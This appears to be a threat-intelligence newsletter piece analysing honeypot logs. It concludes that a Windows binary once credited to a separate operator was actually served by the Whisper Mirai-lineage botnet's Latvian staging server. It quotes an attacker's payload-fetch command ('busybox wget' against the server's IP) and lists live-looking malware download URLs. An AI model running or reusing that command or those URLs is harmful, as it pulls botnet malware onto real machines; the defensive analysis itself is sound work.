The Same Server, the Wrong Binary: Two Operators Collapse Into One

The Broad Sweep — Part 2

Classification: HIGH · Confidence: HIGH (first-party download-URL-to-hash linkage) — and a correction

This letter corrects an earlier one, because new evidence requires it. In the census's tail letters, two artifacts were described as belonging to two different operators. One was Whisper — a Latvian-staged, Mirai-lineage Linux loader that fetches binaries for some thirty processor architectures from http://31.170.22.205/bins/whisper.<arch>. The other was a small Windows executable, debug-named calc.pdb, which was read as the misfire of a separate Windows-toolchain operator whose automation was so indiscriminate it sprayed a Windows test payload at a Linux honeypot four times. Two operators, two ecosystems, two letters.

The download log collapses them into one. When the honeypot's Whisper loader reached out to the Latvian server and requested whisper.armv5 and whisper.armv6, the file it received back — recorded by hash — was SHA-256 58189cbd…: the exact Windows calc.exe PE. The Whisper staging server, asked for a Linux ARM binary, served a Windows one. The two operators were never two. The "Windows-toolchain misfirer" was the Whisper operator's own /bins/ directory, handing out a Windows executable at a Linux architecture path.

The link, stated exactly

The correction rests on a single, hard piece of first-party evidence: the download record ties a URL to a hash. The honeypot did not merely see a Windows PE appear; it recorded where the Windows PE came from. The URL http://31.170.22.205/bins/whisper.armv5 resolves, in the honeypot's own download log, to SHA-256 58189cbd4e6dc0c7… — and that hash is, byte-for-byte, the 27,648-byte MinGW Windows console binary the reconnaissance-layer letter analyzed as the stray calc. The armv6 path returned the same hash. The four appearances of the Windows binary that the earlier letter counted as four independent drops were, in fact, the honeypot's Whisper loader fetching whisper.armv5 three times and whisper.armv6 once, from the same Latvian server, on the same day — 2026-06-13 — and receiving the Windows executable each time.

There is no ambiguity in that chain. A download record is not a guess about an artifact's origin; it is the origin, logged at the moment of transfer. The calc binary did not arrive from a separate Windows shop firing blindly at Linux. It was pulled by the Whisper operator's own loader from the Whisper operator's own staging host, at a path the Whisper operator's own naming scheme defines. The infrastructure is identical, the day is identical, and the file is identical. One operator, one server, one messy directory.

Where the blindness actually lives

The earlier letter got the phenomenon right and the location wrong, and the difference is instructive. It observed, correctly, that a Windows binary on a Linux target is an artifact of automation that does not check the operating system. But it placed that blindness in a hypothetical delivering attacker — a Windows-focused operator whose pipeline sprayed calc at every foothold. The download log relocates the blindness to the staging server: it is the Whisper operator's /bins/ directory that contains a Windows PE where a Linux ARM binary should be, and the honeypot's Linux loader retrieved it by asking for the architecture the server was supposed to have.

The most economical explanation for how a Windows binary ends up at whisper.armv5 is that the server has no real whisper.armv5 at all. A loader that enumerates thirty architectures is cheap to write — it is a template with a list. A payload set that actually contains thirty compiled, working, architecture-correct binaries is expensive to build and maintain. When the loader requests a tail architecture the operator never built, the server must return something, and here the something is a stray Windows executable — a leftover test binary, a placeholder, or simply the file that happened to be sitting in the directory — served indiscriminately to any request the real payloads do not satisfy. The Linux loader asked for ARM; the server, lacking ARM, handed back whatever it had, which was calc.

The blindness, in other words, is not an attacker firing Windows at Linux. It is a breadth operator whose reach exceeds its inventory — a thirty-architecture promise backed by a directory that does not hold thirty architectures, papering over the gaps with whatever file is nearest to hand.

Breadth's broken promise

This is the genuinely new finding, and it is a limit on the breadth strategy that only the supply line could reveal. The earlier Broad Sweep letters measured breadth at the loader: Whisper enumerates ~30 architectures, RedTail brute-forces every binary it carries, Nexus falls back through four download tools. All of that is breadth as advertised — the coverage the loader promises. The download log measures breadth as stocked — the coverage the server actually holds — and the two are not the same.

A loader is a list of architecture names and a fetch template; making it broad costs the operator almost nothing, a few more lines. A payload set is thirty separately cross-compiled binaries, each of which has to be built, tested, and kept current; making that broad costs real, recurring effort. So the rational lazy equilibrium is exactly what the Latvian server displays: a loader that promises the full architecture spread, backing onto a directory that stocks only the architectures the operator bothered to build, with a fallback file — here a Windows binary, of all things — plugging the holes. The breadth is real at the front end and hollow at the back. Whisper is a thirty-architecture botnet in its loader and a partial-coverage botnet in its warehouse, and the tail architectures it advertises resolve, at least in the cases the honeypot probed, to garbage.

That has a defensive consequence worth stating: the loader's architecture list overstates the operator's actual capability. An analyst reading the Whisper loader would conclude the operator can infect thirty processor families; the download log shows that, for at least two of them, the operator infects nothing — the fetched binary cannot run on the target that requested it. Breadth measured at the loader is a claim; breadth measured at the server is the fact, and the fact here is narrower and sloppier than the claim.

Four seconds settles it

The timestamps remove any lingering doubt that these were separate events. The busybox wget of dl600 is logged at 12:05:33 on 2026-06-13; the whisper.armv5 fetches and the whisper.armv6 fetch land at 12:05:36 and 12:05:37 the same day. The entire interaction with the Latvian server — the numbered drop and the architecture-suffixed drops, the busybox fetch and the loader fetches — occurs inside a four-second window. That is not four independent attackers who happened to converge on one server; it is a single automated session hitting the same host several times in the space of one breath, exactly as a loader does when it runs its fetch sequence. The earlier letter's "four drops" of the Windows binary were four requests in four seconds from one loader run, not four visits by a Windows campaign. At second resolution, the unity of the event is not an inference at all — it is simply what the clock shows.

The warehouse holds more than one campaign

The same server surfaced a second path in the command log: busybox wget http://31.170.22.205/dl600. dl600 is not a whisper.<arch> file — it is a differently-named payload, numeric rather than architecture-suffixed, fetched by a different command style. The Latvian host is therefore not a single-campaign staging point but a shared warehouse serving at least two naming schemes: the whisper.<arch> set for the Mirai-lineage IoT loader, and standalone numbered drops like dl600 for something else. A staging server that hosts multiple naming conventions is a staging server used across multiple campaigns or tools — which fits the picture of an operator (or a hosting arrangement) running more than one operation out of one abused Latvian address, and it means the server itself, not any single payload, is the durable center of gravity.

What is retracted, and what still stands

Precision about the scope of a correction is a matter of integrity, so it is worth being exact about which earlier claim falls and which survive, because most of the reconnaissance-layer letter is untouched.

What is retracted is one specific inference: that the calc.pdb binary evidenced a distinct, separate Windows-toolchain operator firing at the honeypot. It did not. It evidenced the Whisper operator's server returning a Windows file. The "different ecosystem," the "muscle memory of a Windows exploitation shop," the "OS-blind delivering attacker" — those readings, built on the assumption that the binary arrived under its own power from a Windows-focused hand, are withdrawn. The binary arrived because a Linux loader fetched it.

What still stands is everything that letter said about the other specimen and about method. The neofetch analysis — a benign system-information tool weaponized as reconnaissance, dropped ten times, its field list an attacker's hardware-triage checklist, its NVIDIA probe a miner's tell — rests on a completely separate sample and separate command evidence, and is unaffected. The letter's general points — that reconnaissance tooling is communal, that the clearest defensive signals are often the artifacts that are not malware, that a Windows PE on a Linux host is an impossible artifact worth alerting on — all hold; indeed the last of them holds more firmly now, because the impossible artifact turned out to be exactly the diagnostic the letter said it was: not proof of a Windows campaign, but a flag that something upstream was misconfigured. The letter was right that the calc binary was a signal. It was wrong about what the signal pointed to. The signal pointed at a sloppy Linux staging server, not a Windows attacker — and following it to its source is what this correction did.

That is the ordinary way careful analysis works: a sample-level inference, honestly drawn from the evidence available at the time, is revised when supply-line evidence that was not yet in hand becomes available. The revision is not a failure of the earlier reading; it is the reason the earlier reading was stated with its provenance and confidence attached, so that exactly this kind of update could be made cleanly when the download log was finally mined.

The operator count drops by one

There is a bookkeeping consequence that matters for the census this whole investigation has been building. The closing accounting estimated roughly nine to eleven distinct operators and explicitly listed a "Windows-toolchain misfirer" among them. That entry was an artifact of analyzing the calc binary as a sample — a Windows PE, out of place, apparently from a different world. Analyzed as a download, with its URL attached, it is not a distinct operator at all; it is the Whisper operator's server returning a placeholder. The honest count loses a member: the Windows misfirer folds into Whisper, and the census tightens toward the lower end of its stated range.

This is the method correcting itself in exactly the way the closing letter said it should. A sample tells you what an artifact is; a download record tells you where it came from; and the origin is what assigns the artifact to an operator. Sample analysis, working from the calc binary alone, honestly inferred a separate Windows hand, because everything visible in the file pointed that way. The supply line — the URL-to-hash link the deep command-and-download dig surfaced — overrides that inference, because it is direct evidence of provenance where the sample offered only circumstantial evidence of nature. The lesson is the one the whole census kept relearning: read the supply line, not just the artifact, because the supply line is where operators are actually joined and separated.

The mistake is a better fingerprint than the craft

There is a general principle buried in this correction worth lifting out, because it recurs across the whole investigation: an operator's errors often identify them more reliably than their competence does.

Competence is generic. A correctly cross-compiled ARM binary looks like every other correctly cross-compiled ARM binary; a well-formed loader looks like every other well-formed loader; two operators doing the same thing well are, at the artifact level, hard to tell apart, because there is usually one right way to do a thing and everyone who does it right converges on it. Errors are specific. This server returns this particular stray Windows binary at this particular missing path — a coincidence of one operator's exact directory contents, their exact naming scheme, and their exact failure to build a given architecture. No two sloppy warehouses are sloppy in the same way, because sloppiness is the accumulated residue of one operator's particular history of shortcuts, and that residue is close to unique.

So the calc binary at whisper.armv5, which looks like noise — a wrong file, a mistake, a thing that shouldn't be there — is actually one of the highest-fidelity fingerprints the Whisper operator left anywhere. A clean whisper.mips binary would have told an analyst little; it is what every Mirai loader stages. The Windows binary at the ARM path is idiosyncratic to this operator's exact mess, and an analyst who saw the same wrong-binary-at-the-right-path pattern on another server would have strong reason to suspect the same hand. This is why the deep dig was worth doing and why the "precious, non-obvious things" are where the value is: the clean artifacts are shared by everyone and identify no one; the small wrong things — the stray file, the redundant flag, the self-named fallback — are where an operator's individuality leaks out. Read the census's operators by their mistakes and they separate more cleanly than reading them by their craft ever could.

Defense: block the shelf, not the box

The operational takeaway follows from the correction. Chasing the calc binary as a Windows threat would send a defender in precisely the wrong direction — hunting a Windows-malware campaign that does not exist, while the actual operator is a Linux IoT botnet whose server happens to stock a bad file. The durable indicator is not the binary; it is the shelf it came off: the URL pattern http://31.170.22.205/bins/<family>.<arch>, the staging host, the /bins/ path convention, the dl600 sibling. Block or monitor the server and you catch every architecture Whisper actually stocks and every future payload it stages, Windows placeholder included; catch the calc binary and you have caught one confusing file and learned nothing about the operator behind it.

More generally: when a sample's nature (a Windows PE) and its provenance (a Linux botnet's server) disagree, provenance wins, and the disagreement is itself the signal. A Windows binary served from a Linux IoT staging directory is not a Windows campaign; it is a fingerprint of a sloppy multi-architecture warehouse, and the sloppiness — the wrong binary at the right path — is a more reliable marker of that specific operator than any clean artifact would be. The mistake is the signature.

Bounds and limits

DOCUMENTED, first-party: the download record linking http://31.170.22.205/bins/whisper.armv5 and whisper.armv6 to SHA-256 58189cbd…, the Windows calc.pdb PE; the four fetches (armv5 ×3, armv6 ×1) on 2026-06-13; the second path http://31.170.22.205/dl600 from the command log; and the identity of the server as the Whisper staging host on Sia Nano IT, Latvia.

INFERRED, high confidence: that Whisper and the "Windows misfirer" are one operator/infrastructure (identical server, path convention, and day; the file's provenance is logged, not guessed). INFERRED, moderate confidence: that the Windows binary is a fallback/placeholder the server returns for architectures it does not actually stock (the most economical explanation for a Windows PE at a Linux ARM path, though it cannot be proven from two fetched paths that the operator did not deliberately stage a Windows payload as well).

BOUNDED: the honeypot requested only armv5 and armv6; whether the server's other ~28 advertised architecture paths held real, working Linux binaries or the same placeholder is unknown — "breadth's broken promise" is documented for the two paths probed and inferred, not proven, for the rest. Whether the Whisper operator built the Windows binary or merely left it as a stray file in the directory is not determinable from the log. And this remains one sensor's view of one staging server over the days it was observed; the server's inventory may have differed before and after.

None of these bounds soften the core result. Two operators the census counted separately are one, joined not by any similarity in their artifacts — a Mirai IoT loader and a Windows calc binary could hardly look less alike — but by a download record showing the second came out of the first's server. The correction subtracts an operator from the count and adds a finding to the method: breadth advertised at the loader is not breadth stocked at the shelf, and the wrong binary at the right path is the sloppy warehouse's signature. The supply line said what the samples could not: same server, wrong binary, one operator.

This is Part Two of The Broad Sweep, and a correction to the census's reconnaissance-layer accounting. Part Three follows the same Latvian server outward — into the bulletproof-hosting neighborhood it sits in and the two-network operator structure the intelligence graph resolves behind it.